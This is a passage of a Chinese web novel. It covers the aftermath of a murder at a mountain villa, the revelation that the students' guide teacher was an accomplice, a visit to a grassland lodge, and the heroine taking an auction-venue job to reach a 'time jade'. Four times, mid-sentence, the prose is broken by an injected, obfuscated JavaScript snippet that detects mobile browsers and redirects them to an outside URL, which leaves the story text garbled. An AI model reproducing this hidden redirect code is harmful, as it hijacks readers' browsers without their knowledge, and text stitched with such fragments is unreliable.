梁小诺迷迷糊糊地醒来,嘟囔道:“怎么了?” 耳坠男道:“我想上个厕所,但一个人有些怕,你能陪我一起吗?” 梁小诺点点头,眼睛仍半闭着,但身子已经坐了起来。 耳坠男忙拉了他一把,低声道:“动作轻点,别把老师吵醒了。” 二人进了浴室,耳坠男却没去上厕所,而是偷瞥了外面一眼,确认过没问题后,就低头在手机上打起了字。 梁小诺奇怪道:“你怎么了?” 耳坠男却朝他比了个“嘘”的手势,又将打好了字的屏幕转给对方看,上面写着:我要和你说一件事,你做好心理准备,待会儿不要发出任何声音。 梁小诺不明所以,但从对方的神色中明白这件事没那么简单,于是认真点了点头。 耳坠男翻出方才收到的那些消息,拿给了对方看。 梁小诺初时还一头雾水,但很快,他的眼睛也慢慢睁大,随后惊惧地抱住了手臂发起了抖。 ———— “啊啊啊啊——救命、救命、救命!!!!” 原本寂静的夜晚被打破了,走廊上响起少男惊恐的尖叫声。 沈安宴从睡梦中惊醒,她“唰”一下从床上坐起,皱着眉看向门口。 顾辞江也跟着她一起坐了起来,他被这突如其来的变故吓了一跳,担忧道:“是梁小诺他们的声音,出什么事了?” 沈安宴道:“不清楚……” 如果只有她一个人,她可能在刚听到求救声就去开门看了。但顾辞江和她住在一起,她不得不为对方的安全考虑,因此没有立刻行动。 顾辞江看出了她的疑虑,轻轻推了她一把:“不用管我,出去看看吧。” 沈安宴犹豫一下,最终还是点点头,嘱咐道:“好,你注意安全。” 沈安宴开门向外看时,只能听到喊声。她只好出了门,站在走廊上,就见隔壁贺晴天她们的房门也打开了,三人显然也是刚睡醒的样子,正要往出走。 这下正好,沈安宴便朝对面喊道:“周天,我过去看看什么情况,你来我房间待会儿行吗?” 周天道:“呃……也可以?” 有周天在房间里守着,沈安宴便放心离开了。贺晴天和林霜跟她一起,三人很快就赶到了现场。 梁小诺跌坐在地板上,哆哆嗦嗦地看着前方的楼梯,顺着他的目光向下看去,楼梯尽头,是滚落下去的耳坠男,和一个被一身黑衣包裹着的瘦长男人。 这是几人第一次亲眼目睹杀人现场,在男人抬起斧头时,贺晴天就要冲下去救人,但被林霜死死拉住了。 “他手上有武器,你这样不管不顾地下去,是不要命了吗?” 沈安宴则迅速扫了周围一眼,正好看到走廊两侧装饰用的花瓶,她顺手拿起一只,瞄准了男人的脑袋砸了过去。 “哗啦”一声,花瓶在男人的脑袋上炸开了花,可惜依旧没能阻止对方的斧头稳稳落下。 一起一落间,耳坠男的头颅和身子分了家。 49. 深渊 “滴答、滴答……” 是血滴落在地上的声音。 不是耳坠男的血,而是黑衣男人的血。他的头被花瓶砸破了,鲜血从头皮的伤口处流出,落在了地上。 男人抬起头,朝楼梯上看来。 沈安宴上前一步,站在了队伍最前方。 就在两方人僵持不下时,一道鬼魅般的身影忽然在楼下显现,沈安宴几人还没来得及震惊,就见那道身影劈手夺下了男人的斧头,又将对方一脚踹翻在了地上。 指导老师一手摁住男人的头,一手将对方两只胳膊反扣在背上,确认过男人目前动弹不了后,才扬头朝上方喊道:“找绳子过来,或者床单被罩也行!” 楼梯上众人这才反应过来,忙回到房间翻箱倒柜地找起东西来。 这一切发生得太快,等大家回过神时,黑衣男人已经被指导老师紧紧捆住了。 房间里的人这下都聚集在楼梯前,周天问道:“那现在是……安全了吗?” 指导老师道:“嗯,算是吧。不过还是不要掉以轻心,毕竟不确定他有没有同伙,也不知道他还给哪里放了丝线。” 林霜皱着眉头看了黑衣男一眼,对方在被捆缚的过程中,头上戴的帽子和口罩已经被卸下了。 这是个看起来年纪在五十上下的男人,头发稀疏,形容邋遢,脸上刻着深深的皱纹和暗斑。被指导老师抓住后也不显惊慌,甚至连反抗都没有反抗一下,只是安静地躺在地板上,整个人都透着一股死气。 男人脑袋上的伤口没有愈合,还在留着血,林霜看向沈安宴:“他不会被你那一个花瓶给砸傻了吧?” 沈安宴尴尬地摸了摸鼻子:“那什么,用不用给他上点药?” 顾辞江道:“我这里有酒精……不过用这个消毒会不会太疼了?” 指导老师道:“不麻烦,拿卫生纸包一下就行。” 贺晴天忍不住问道:“那个,咱们不问一下他到底为什么要杀人吗?” 指导老师已经用卫生纸给黑衣男裹好了伤口,闻言道:“也行,那咱们问问。” 可惜审讯环节进行的并不顺利,无论几人问什么,黑衣男都默不作声。 周天道:“不会真傻了吧?” 指导老师叹口气,朝几个女生道:“算了,先不管他,审问的事还是交给官方吧。我们先把尸体处理一下。” 一切似乎尘埃落定,幸运的是,在第二天下午,别墅里的人就听到了车子发动的轰鸣声,还有人们呼喊的声音。 “有人吗——这里有人吗——” 大家惊喜起来,林霜离窗户最近,她往外看了一眼,转头朝同伴们说道:“是救援队来了!” 指导老师不禁松了一口气,连日紧绷的精神总算能放松下来了。她朝学生们道:“我出去和他们交涉,你们也收拾收拾,把衣服穿好,要准备走了。” 指导老师离开了,别墅里留下的人也依言开始收拾行李,换上暖和的衣服。连日的阴云总算从心头散开,大家已经迫不及待要离开这鬼地方了。 周天道:“我以后再也不会参加这种封闭式培训了,一点都不靠谱。” 贺晴天安慰道:“不过老师还是很靠谱的,算是不幸中的万幸吧。” 救援人员很快来到了别墅内,见学生们都没事,不由得松了口气。 其中一个队员小声道:“队长,接到的消息说总共有十个学生,但是这里……” 队长扫视一圈屋内,少了四个人。她上前一步,向学生们出示了自己的证件,又简单介绍过自己,这才问道:“有人受伤吗?” 大家齐齐摇头,贺晴天主动上前,简略说明了别墅里的情况。听到死了四个男学生,救援人员的神情都有些凝重。 贺晴天最后补充道:“凶手已经被抓住了,就在客厅那里绑着,我们的食物不是很充足,所以留给他吃的东西不多。他现在应该没有什么反抗的力气。” 队长挥挥手,示意几个队员过去查探情况。 一个圆脸队员听到最后的话,忍不住惊叹道:“同学,你们很厉害啊,竟然能把杀人犯抓起来。” 贺晴天道:“我们没出什么力,是我们带队老师抓住的。” 不知为何,她这句话一出,救援人员们的脸色忽然变得有些奇怪。 队长道:“好了,详细的情况等回市警察局再说。大家先上车吧,这里交给我们就好。” 队伍里分出几个人,带着一行人出了别墅。后山已经被清出一条路来,大家很快走出林子,来到大路坐进了车里。 下山路上,陪同的工作人员向几人大概了解了一下这几天发生的事,又说了接下来的安排:“回市里后,我们先去市警局一趟,当然,不用害怕,就是配合一下调查工作,问你们一些问题之类的。结束后局里为你们安排了心理辅导,就没什么了。竞赛组那边后续会和你们对接……” 等对方说完后,林霜问道:“阿姨,您知道我们带队老师去哪里了吗?我们这一路都没见到她,是提前去警局了吗?” 工作人员闻言诧异道:“什么带队老师?” 沈安宴回忆着来时的情况,隐隐察觉到了一点什么,她问道:“阿姨,我可以问一下你们是怎么找到这里的吗?” 工作人员道:“是这样的,今天上午我们接到报案,来繁花市培训的竞赛选手们集体失踪……” 林霜忍不住问道:“抱歉,我插一句话,我们前四天就已经到这里了,竞赛组为什么现在才报案?” 工作人员解释道:“这也是我正要说的。竞赛组那边说,他们定下的培训时间是今天,但今天去集合点时却没有接到人,随后和学校那边联系,才知道选手们竟然提前四天就出发了。” 众人齐齐一怔,周天道:“不是,那四天前接我们的人……” 工作人员接着道:“我们随后调查了四天前的出行记录,但只查到了你们那天来繁花市的交通记录和入住酒店记录,之后的记录完全查不到。因此我们无法确定你们被带去了哪里,只能全市展开搜索,还好在常青山这里找到了你们。” 大家听完不禁陷入了沉默。 梁小诺犹豫半晌,结结巴巴地开口了:“其实……其实昨天晚上,我和孙坠出来,是因为收到了王周发的信息。” 孙坠就是和梁小诺同住的那个耳坠男。 大家齐齐看向他,周天诧异道:“他不是已经死了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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指导老师没有第一时间否认,而是温和地微笑着,看着他问道:“你觉得呢?” 梁小诺有点害怕了,他强撑着摇头道:“我……我觉得肯定是误会,你这些天一直在保护我们,怎么可能会是杀人犯的同伙。” 指导老师又笑了,她耐心地同对方说道:“不要怕,如果那些信息都是真的,你还记得我们收到的第一个信息吗?” 梁小诺有些茫然:“什么信息?” 指导老师说:“再差一个人,就齐了。” “孙坠死了,这差最后一个人,不就补齐了吗?之后不会再有人死了。” 指导老师看着他,补充道:“而且不好吗,他们四个都死了,以后就不会有人再欺负你了,这难道不是一件值得高兴的事吗?” “对吧,小诺?” 梁小诺又开始发抖了,贺晴天注意到他的情况,轻声问道:“怎么了?” 梁小诺颤着嗓子说:“我……我就是有点冷……” 工作人员也听到了他的话,不禁奇怪道:“冷吗,那我把车里的暖气再调高点。这里有毛毯,你拿去盖上吧。” 贺晴天离得近,将毛毯顺手接了过来,递给了他。 车子终于驶出了山林,山外的阳光透过车窗,灿烂地照在了大家身上。 梁小诺晒着太阳,却依旧觉得冷。 50. 平安 繁花市的事情告一段落,沈安宴她们终于又回到了熟悉的海城。 租房依旧破破烂烂,但对于此时的沈安宴来说,却温暖得令人安心。 为别墅的凶杀案忙活了这么多天,又坐了一上午的车,她此刻筋疲力尽,甚至连澡都懒得洗,直接躺在了床上倒头就睡。 结果一觉睡醒,她的手机被轰炸爆了。 沈安宴看着社交软件上99+的信息,颇觉头大。 首先是姜老师发来的,她年纪大,不方便出远门,虽然繁花市的事情主要归竞赛组和警局管,并不需要她多操心。但想到沈安宴也在其中,又没有家人陪她,因此姜老师麻烦了林鹿过去帮忙。 回到海城后,沈安宴本想去见一下姜老师,好让对方放心。但林鹿制止了她。 “回来了就先好好休息一下吧,等明天再过来,别累着了。”对方这么说。 沈安宴也确实累了,因此没有推脱,和对方约好第二天来拜访的时间,就回家休息去了。 姜老师发给她的信息不多,只是简单说了些让她注意身体,好好休息之类的关心嘱咐。 沈安宴给对方回复了“谢谢老师关心”。 接着是贺晴天、周天和顾辞江三人发来的报平安信息,又问她到家了没。 沈安宴给她们回复“到家了,刚睡醒,一切都好”,又继续向下翻。 之后是江小松她们,几人没来冬令营,刚听说了繁花市发生的事情,急急忙忙地问她现在怎么样,有没有遇到危险。 沈安宴又耐心地同她们简单说明了情况。 这于她而言实在是个奇妙的体验。沈安宴并不是活泼外向的性子,穿越前身边朋友并不多,能说上话的除了家人,只有一个从高中时起就认识的朋友。 除了齐柏时不时喜欢手机上骚扰她外,其他人除非有事,基本不会和沈安宴主动联系。 因此突然收到这么多消息,她无奈之余,心中又有些说不清的柔软。 蓄足了精神,沈安宴就出门去姜老师家了。 姜老师家住在一个小村镇上,院子里种了一大片鲜花,可惜现在是冬日,花朵基本都开败了,只留下光秃秃的花盆。 门廊前挂着一只色彩鲜艳的鹦鹉,沈安宴刚进门,就听见了一串“恭喜发财!恭喜发财!” 沈安宴看它一眼,忍不住笑了起来。 林鹿出来迎接她,二人进了屋子,姜老师正坐在桌前泡茶,见她们来了,就笑着说:“哎,刚好,茶已经温了,可以过来喝了。” 沈安宴道过谢,又问道:“姜暖姐没在家吗?” 林鹿道:“她上班去了,估计今天晚上才回来。” 姜老师笑道:“都站着说什么,快坐吧。” 二人依言落了座。 沈安宴刚坐下,就感觉脚好像碰到了一只什么温热软和的东西。她低头看去,只听“喵呜”一声,一只有大半个胳膊那么大的胖白猫从沙发底下钻了出来,轻轻一跃便跳上了沙发的扶手,又抬起一只爪子踩了踩沈安宴的胳膊。 沈安宴很稀罕地看了好几眼白猫,姜老师笑道:“想摸就摸吧。” 沈安宴道:“那我就不客气了。” 她说完,先试探着撸了一把白猫的脑袋。白猫没有躲,懒洋洋地立在原地让她摸,沈安宴越摸胆子越大,见白猫心情不错,干脆把对方一把抱进了怀里,更加猖狂地摸了起来。 白猫瞥她一眼,那眼神似乎在说“这人真没见识”,而后扫了扫尾巴,也没反抗,窝沈安宴怀里让她摸去了。 沈安宴一边撸猫,一边给姜老师和林鹿说起了这次在繁花市里发生的事。 林鹿听完叹道:“真是太危险了,还好你没事。” 姜老师似乎在思索着什么,直到沈安宴喊了她一声,她方才回过神来。 沈安宴道:“姜老师,我说的有什么问题吗?” 姜老师摇摇头:“没什么,只是蓝冰这个名字……” 蓝冰就是那位指导老师的名字。 林鹿道:“噢,这个名字的确很独特,不过,既然这位蓝冰老师故意将选手们带去别墅,大概也不会用真名吧?” 姜老师道:“倒不是真名假名的问题,这个名字让我联想到一个组织。如果真是她们,那做出这种事也就不奇怪了。” 沈安宴问道:“什么组织?” 经历过许医生的事后,姜老师也没再把沈安宴当不懂事的年轻人看待,也愿意多给对方讲一些事。 她解答道:“雪花。” 林鹿有些疑惑:“雪花?” 沈安宴倒是有些印象:“我听过这个名字,没记错的话,这好像是一个历史相关的读书分享会?” 姜老师有些感慨:“你们年轻一代确实没怎么听说过这个名字,所谓读书分享会只是她们对外打的幌子。准确来说,这是一个喜欢‘惩恶扬善’的组织。但她们只在乎结果正义,不遵循程序正义。虽然做的算是好事,但不被官方认可。” 沈安宴不由得想到了这次的事,别墅里死的那四个人都是霸凌者,这么来看,似乎也算是一种“以暴制暴”式的惩恶。 林鹿问道:“那为什么蓝冰这个名字会让您联想到她们……哦,也对。蓝冰,雪花,的确很容易联系起来。” 姜老师点点头:“她们一般都会选取和冬日有关的意象作为自己的名字,冰霜雪雾,梅花松树,凋叶枯木,类似这些,在这个组织里都很常见。” 沈安宴问道:“那这个组织为什么现在不出名了?” 姜老师道:“因为她们的任务已经完成了,现在已经没有那样多需要‘惩恶扬善’的事让她们做,她们自然而然就淡出了公众视野。” 林鹿问道:“但是,官方能容忍她们吗?” 姜老师摇头笑了笑:“官方可管不了,当时要是不出意外,‘雪花’就会是现在的官方。” 林鹿微微睁大了眼,诧异地“啊”了一声。 沈安宴也有些惊讶:“历史相关的书我看过不少,可从来没有读到过‘雪花’的事迹。” 姜老师道:“你哪天要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556614|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有空闲的话,可以去问问祁白老师,她对史学的钻研可是相当深入。” 之后的闲聊中,姜老师就没有再提有关“雪花”的事情了,只和二人说了些生活上的琐事。 姜老师问沈安宴:“今年春节,你打算怎么过?” 穿越前自然是和家里人一起过的,不过沈安宴的母亲和姐姐对过节并不热衷,倒是表姐齐柏过年时会拉沈安宴出去玩儿几天。 不过她如今在这里没亲没故的,自然就谈不上怎么过节了。 沈安宴想了想,实话实说:“在家里看看电影?” 姜老师看起来有点无奈:“要是你愿意,春节那几天可以来这里住,人多热闹。” 沈安宴欣然应允。 之后几天,她又和学校里的伙伴们见了个面。大家聚在商业街新开的一家餐厅,聊起了常青山冬令营发生的事。 手机上只能大概说一说,想要了解更具体的经历,还是当面聊更方便。而且山间别墅凶杀案,光听名字就很有吸引力了。 听完了事情经过,江小松羡慕道:“这么有意思吗,我也好想去!” 贺晴天无奈:“只是听着有意思,反正我是再也不要经历第二次了。” 周天的话就更直接了:“你当是玩儿侦探推理游戏呢,推理冒险没多少,每天光埋死人了。” 李欣然忍不住搓了搓胳膊:“感觉好吓人,你们不怕吗?” 贺晴天道:“怕是肯定怕的,但当时那种情况下,只能硬着头皮上了,而且还要操心怎么和外界联系,东西够不够吃,也就没精力去怕了。” 周天道:“差不多。但我感觉盛宴好像没怎么怕?” 沈安宴很有些骄傲地伸出一根手指摇了摇:“因为一切恐惧都源于火力不足,你们看指导老师也没怎么怕,还敢一个人出去找人呢,就是因为凶手哪怕手上拿着斧头她都能把对方干翻。” 陈杉问道:“但是,你们那个带队老师不是跟凶手一伙的吗?” 沈安宴道:“哦……我给忘了。” 贺晴天摇摇头:“在别墅那几天老师真的很照顾我们,我也没想到会这样。” 林跃问道:“竞赛组那边呢,出了这种事他们也该负起责任吧?” 说到这个,沈安宴有点无语:“噢,死者家属那边不知道他们是怎么处理的,我们这边,他们商量出来的方案是给每个人一万作为补偿。” 周天翻了个白眼:“打发叫花子的呢,反正我家没接受,已经起诉他们了。” 陈杉捋了捋事情的经过,有点没明白:“但是,这事儿不是那个带队老师引起的吗?人也是别墅里的工作人员杀的,竞赛组也及时补救了,这么一看他们好像也没太大问题,起诉的话能赢吗?” 贺晴天解释道:“你仔细想想,带队老师为什么能这么顺利地把我们骗过去?初赛入围名单和联系方式是怎么泄露出去的?竞赛组的官方证明为什么会跑到别人手上?凶杀案虽然直接责任人不是他们,但他们依旧有很大问题。” 陈杉恍然大悟。 51. 线索 这次聚餐主要是没去冬令营的人问,贺晴天负责回答,周天负责补充。沈安宴大部分时间都在一旁听,遇到感兴趣的话题会跟着说两句,倒是乐得清闲。 手机微微震动了一下,她点开屏幕,消息是陆舟发过来的。 对方发来了一张照片,上面是一片还泛着绿意的草原,在冬日尤为显眼。中央则是一座木屋,屋外布置了座椅和顶棚,透着一片轻松悠闲的氛围。 陆舟:最近忙吗?要是不忙的话,要不要来这里玩儿几天? 沈安宴想了想,她最近的确清闲,陆舟发的地方也合她胃口,过去玩玩儿也挺好。 她回复道:可以,什么时候过去? 陆舟:都行,看你什么时候方便。 陆舟:[图片] 陆舟:这里好吃的可多了,烧烤火锅小甜点,还可以自己做奶茶,无聊了能出去骑马,晚上看星星也清晰,早来早享受哦~ 图片是一张自拍,看起来应该是对方刚才随手现拍的,陆舟手上拿着一串烤蘑菇,对着镜头wink了一下。 沈安宴忍不住笑了一声。 她回复道:哦,我这边儿倒是没什么事,今天晚上走都行,不知道会不会有点太早了? 陆舟:不早! 陆舟:那就说好了,今天晚上我叫人来接你,可以吗? 盛宴:可以,我把地址发你。 既然和陆舟约好了出去玩儿,沈安宴就不打算再回租房折腾一趟了。待和伙伴们聚完餐,她就在附近坐下,等对方派来的人接自己。 陆舟说车子很快就到,因此沈安宴就在路边等着。她悠闲着看着对面来来往往的车辆,注意着和陆舟描述相符的车子。 结果她没第一时间找到车子,反而是车子先找到了她。 一辆显眼的红色跑车停在了沈安宴身前,车窗缓缓摇下,驾驶位上的人探出头来,笑着喊道:“哟,漂亮妹妹,今晚约吗?” 沈安宴:……? 对面是个模样俊美的女人,穿一身休闲装,发顶架着一只墨镜。对方姿态懒散,脸上挂着热情的笑容,看着一副很好说话的样子,令人下意识就觉得亲切。 因此她这句登徒子似的招呼并没有惹得沈安宴不快,沈安宴一挑眉,笑着回答道:“噢,那真不巧,我已经有约了。” 女人很是遗憾地叹息一声:“那怎么办?要么你跟你的约会对象说一声,介不介意多加一个人?” 沈安宴道:“嗯……想必他是不介意的。” 女人笑了:“那还等什么,上车!” 关上车门,在副驾驶坐好后,沈安宴转头朝女人问道:“您是陆舟的姐姐?” 女人抬脚发动了车子,闻言笑着应道:“昂,陆淼,淼是三个水的那个淼。怎么,我和我弟长得很像吗,这么容易就认出来了?” 沈安宴道:“嗯,是挺像,长相像,气质也像。” 其实主要是气质像,姐弟二人身上都有种不顾他人死活的松弛感,可太容易分辨出来了。 陆淼乐了:“毕竟是一块儿长大的,不过我比他靠谱。” 沈安宴:…… 这话一出,她就有点怀疑这靠谱的真实性了。 车程比沈安宴想象中的短,两个小时后,二人就到了目的地。 入眼便是一望无际的大草原,偶尔能看到几只牛羊,还有人骑在马上奔驰。 陆淼问道:“会骑马吗?” 沈安宴点点头。 陆淼一拍手:“那就方便了,走,咱们骑马过去。” 陆淼似乎是这里的熟客了,她刚到马场,老板就迎了上来,熟稔地朝她问道:“哎,陆总,还是踏雪对吧?” 陆淼点点头:“昂,不急,给我妹儿先找匹好马。” 沈安宴还蒙着,就被陆淼揽住肩膀,对方笑着问道:“看看,喜欢哪只?” 老板没见过沈安宴,但看陆淼和她关系好,因此态度很是客气:“哎,小姑娘骑没骑过马?想要烈一点儿的还是乖一点儿的?生手的话,那就选个温顺点儿的,骑着稳当。” 沈安宴道:“要乖一点儿的。” 她坐车坐了两个小时,实在没精力再去骑马狂奔了,稳稳当当地就很好。 老板笑道:“哎!那你瞧这匹怎么样?白云,性子可软和了,特别通人性。” 她指的是一匹通身白如雪的骏马,毛色柔顺光滑,对得起白云这个名字。 陆淼眼睛一亮:“这匹好,漂亮!妹儿,喜欢不?” 见沈安宴点头,她便痛快地让老板把这匹马牵出来了。 陆淼道:“先试试,看怎么样?” 沈安宴利落地翻身上马,骑着白云绕马场溜了几圈,又回到原位,朝陆淼道:“可以,手感回来了。” 陆淼笑着说了声“好”,就让老板把自己的马牵出来了。 等见到对方的马,沈安宴才明白为什么这匹马会叫“踏雪”了。 踏雪是匹黑马,但四只蹄子却是白色的,的确像是踏雪。 陆淼翻上马背,坐好后,就引着马和沈安宴并辔而行。 她照顾着对方的速度,没将马骑得太快,二人行了一路,很快,木屋就出现在了她们视野中。 这木屋并不是寻常的小木屋,而是一座木质的民宿。一楼是休闲区,二楼是住宿区。 屋子简朴却不简陋,一应设施俱全,打扫得十分干净,屋里的装饰也很有异族风味,和这片草原很相称。 屋前布置了烤架,一旁的桌子上已经放好了菜品,还有饮料小食。 陆舟百无聊赖地坐在椅子上,时不时就要往四周张望一番,直到看见远处一黑一白两匹马往这边儿走来,他瞬间就来了精神,“蹭”一下从椅子上坐起,大步朝前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562201|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方跑去。 陆淼也看到了自家弟弟,远远地招起了手:“哎——舟舟!” 陆舟也高兴地挥手喊道:“姐——盛宴!” 离得近了,二人便下了马,转而牵着缰绳往过走了。 陆舟道:“你们来得还挺快!食材我已经备好了,随时可以开烤。盛宴,我做饭可好吃了,你可一定要尝尝!” 沈安宴笑道:“好好好,要不要我来帮忙?” 陆淼已经过去生炉子了,她让工作人员把马牵下去,又朝沈安宴道:“哎,不用,哪有让客人动手的道理。你喜欢吃什么?” 沈安宴道:“我不挑食,都爱吃。” 陆舟道:“那我先烤蘑菇了,这个最好吃!” 烤蔬很快就做好了。天色已晚,屋外有些冷,大家就移到了屋内用餐。陆舟说得不错,草原上的星星确实好看。沈安宴吃着烤串,看夜晚的草原与星空,原野上还飘荡着悠扬的民歌,实在是很奇妙的一种体验。 桌上,陆舟一边往沈安宴面前的盘子里塞烤串,一边朝陆淼问道:“姐,你这次回来能待多久啊?” 陆淼道:“过完年就要走啦。” 陆舟有些失落:“这么快吗?” 陆淼笑了笑,耐心解释道:“毕竟是和沈家的合作,肯定要多上点心的。” 沈安宴动作一顿,耳朵悄悄竖起,想多听一点消息。 身侧陆舟惊喜地问道:“沈家?姐,是我知道的那个沈家吗?” 陆淼扬了扬眉:“对,就是那个沈家。” ———— “说起来,年后京城会办一场拍卖会,沈家也会出席。我有时间的话,应该会去看看……” 陆淼一边说,一边从平板里调出张名单,推给了对面二人看。 “你们看看,有没有喜欢的,我到时候买下来。” 陆舟一听瞬间来了精神,拉着沈安宴一起看了。 竞拍品倒是五花八门,酒品啊,首饰啊,地皮啊。这些东西沈安宴穿越前见得多了,因此没有太大兴趣。 直到一件名为“时间玉”的竞拍品映入了她的眼帘。 沈安宴轻轻“咦”了一声。 陆舟立刻停下划拉屏幕的手,将那件竞拍品放大。 “怎么了?你喜欢这个吗?”他问道。 沈安宴道:“没,就是有点奇怪,看起来就是块普通玉石,怎么也能上拍卖会了。” 陆淼笑道:“玉石这东西,价格从来是个谜,也不奇怪。” 陆舟看了眼图片旁标注的简介,乐道:“不止,这上面说,这块玉石能穿越时空呢!” 这说法太过天方夜谭,姐弟二人显然都没信。沈安宴也笑了笑,这段插曲就这么过去了。 然而,等过完年后,沈安宴就上了从海城去往京城的飞机,打定了主意要把这块“时间玉”拿到手。 52. 姐姐 至于如何拿到手,对沈安宴而言就是个问题了。 走正规流程显然是行不通的,先不说钱的问题,就算她真有钱,能进拍卖会的宾客大都非富即贵,她连入场的资格都没有。 那就只能换个办法了。 沈安宴打算去应聘。 但这也有点难。会场工作人员又不是家教,对面可不会理她是不是什么中考市第一,应聘进去还是有点困难的。 沈安宴本想应聘后台管理竞拍品的工作人员,不出意外,被面试官拒绝了。 沈安宴也没泄气,打算出去后再想想其他办法,结果对面却道:“不过你要是愿意到前台工作,我们倒是可以考虑一下招你进来。” 沈安宴有些意外,但转念一想,管它前台后台的,反正能进来就行,总能让她找着接近竞拍品办法的。 她当下便痛快地同意了。 于是第二天,她就收到了会场的入职通知。 沈安宴没多想,到会场管理部门报过到,办理完手续,再换上工作装,就打起精神琢磨着怎么去后台转转的事儿了。 她最后应聘上的职位是会场的迎宾人员,这个职位对着装要求很严格,沈安宴的工作服是西装三件套,白衬衫,西装裤,黑马甲,还要打领带。工作装裁剪的很修身,行动倒还算利落,但对穿惯了休闲装和运动服的沈安宴来说,还是觉得有点束手束脚。 她是下午才来报道的,结果一来就发现,自己周围的同事,几乎都是男的,而且都很年轻,又漂亮身材又好。 领班是一个四十上下的女人,看起来有点严肃。她向沈安宴说了具体的工作要求,就让对方干活去了。 男同事们围在一起,看着她窃窃私语,时不时发出一点笑声。有几个外向的,主动跑上来跟她打了招呼,又你推我我推你地嬉笑着离开了。 除了沈安宴,迎宾人员里还有一个女生,名字叫陈松。 陈松见了新同事,大大方方地上前来介绍了自己。整个部门就她们两个女生,二人自然而然结了伴儿。 陈松道:“他们就这样。服务行业嘛,一直是女生少男生多。他们见了女生就稀奇,而且你长得又这么漂亮。” 沈安宴朝对方笑了笑。 在会场工作的日子挺轻松,活儿不重,同事也好相处,除了男同事时不时就会过来给她表白有点麻烦外,沈安宴过得还是比较舒心的。 陈松知道了她的想法倒是有些诧异:“我还以为你挺高兴的,竟然会觉得麻烦吗?” 沈安宴有些无奈:“我已经有喜欢的人了。” 陈松笑道:“噢,那你还挺专一的。哎,不过男人多了确实烦,还好咱们这行的男人长得还可以,不然就不止是烦了,还糟心。” 沈安宴有点不知道该怎么接这话,不过陈松也没在意,接着问道:“你是怎么想到来应聘这里的?” 沈安宴便实话实说了:“本来是想去后台管竞拍品的,结果没聘上,就只好来这儿了。我也没想到会这么容易进来。” 陈松笑道:“正常。毕竟这一行男的太多了,年轻漂亮的男人一抓一大把,早就不缺了。缺的是女人,所以只要有女人愿意来应聘,只要别太掉链子,都会给招进来的——就这样了,还是缺。” 陈松说完,又安慰似的拍了拍她的肩:“我知道,有心气儿的女人都不愿意来服务行业干,但有时候生活所迫,也是没办法的事儿。谁不愿意去当白领呢?不过你也别难过,咱们部门,升职的名额要求一直是一女一男,所以嘛,你懂的。服务行业也有服务行业的好,虽然得跟一群小爷们儿混,确实丢人,但竞争压力也不大,都向着咱们呢!混日子就成了。” 沈安宴无奈笑笑,心说我也不求着升职,只要能赶紧把那件竞拍品拿到手就行了。 她这些日子左找右找,就是寻不着机会,会场对竞拍品保管得相当严格,沈安宴根本找不着下手的机会。 一想到这儿,她心里就有点气闷。今天轮她站班,沈安宴立在走廊上,心里却还在计划着拿竞拍品的事儿。 正想着,她忽然注意到似乎有人在看自己。沈安宴心下疑惑,抬头朝目光来源看去—— 走廊尽头站着一道高挑修长的身影,对方穿着一件深色西装,头发刚及肩,眉目和沈安宴有几分相似,只是更为冷淡。 见沈安宴看过来,对方点了点头,算是示意,而后转身离开了。 那人表现的倒是平静,但沈安宴可一点儿也不平静。 因为那人是她姐,沈言飞!同母同父的亲姐姐!她穿越前人生顺遂万事顺意的最大依仗! 想到竞拍品的事,沈安宴觉得,自己似乎可以……再找一条路走? 沈安宴决定要找亲姐牵线搭桥,不过还没想出个所以然,机会就来了。 会场经理第二天找到沈安宴,指名让她去会场顶楼的包间服务。 别人还不知道内情,沈安宴已经明白了。 经理给她的那个房间号,就是沈言飞来会场时惯用的房间。 沈安宴利落地去了。 ———— 而在顶楼包厢,沈言飞放下文件夹,指尖在桌上轻轻敲了敲。 文件里是她让秘书查到的关于“盛宴”的资料,条理清晰,明明白白,和沈家没有任何关系。 不过“宴”这个名字,倒是挺巧。 房门被敲响,沈言飞将文件合上,示意助理去开门。 沈安宴进了门,这房间于她而言并不陌生,之前京城举行拍卖会,沈言飞带她来过几次,住的都是这间客房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563746|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助理等沈安宴进去后,就关门退出了房间。于是客厅里只剩下了沈安宴和沈言飞二人。 沈言飞道:“坐吧。” 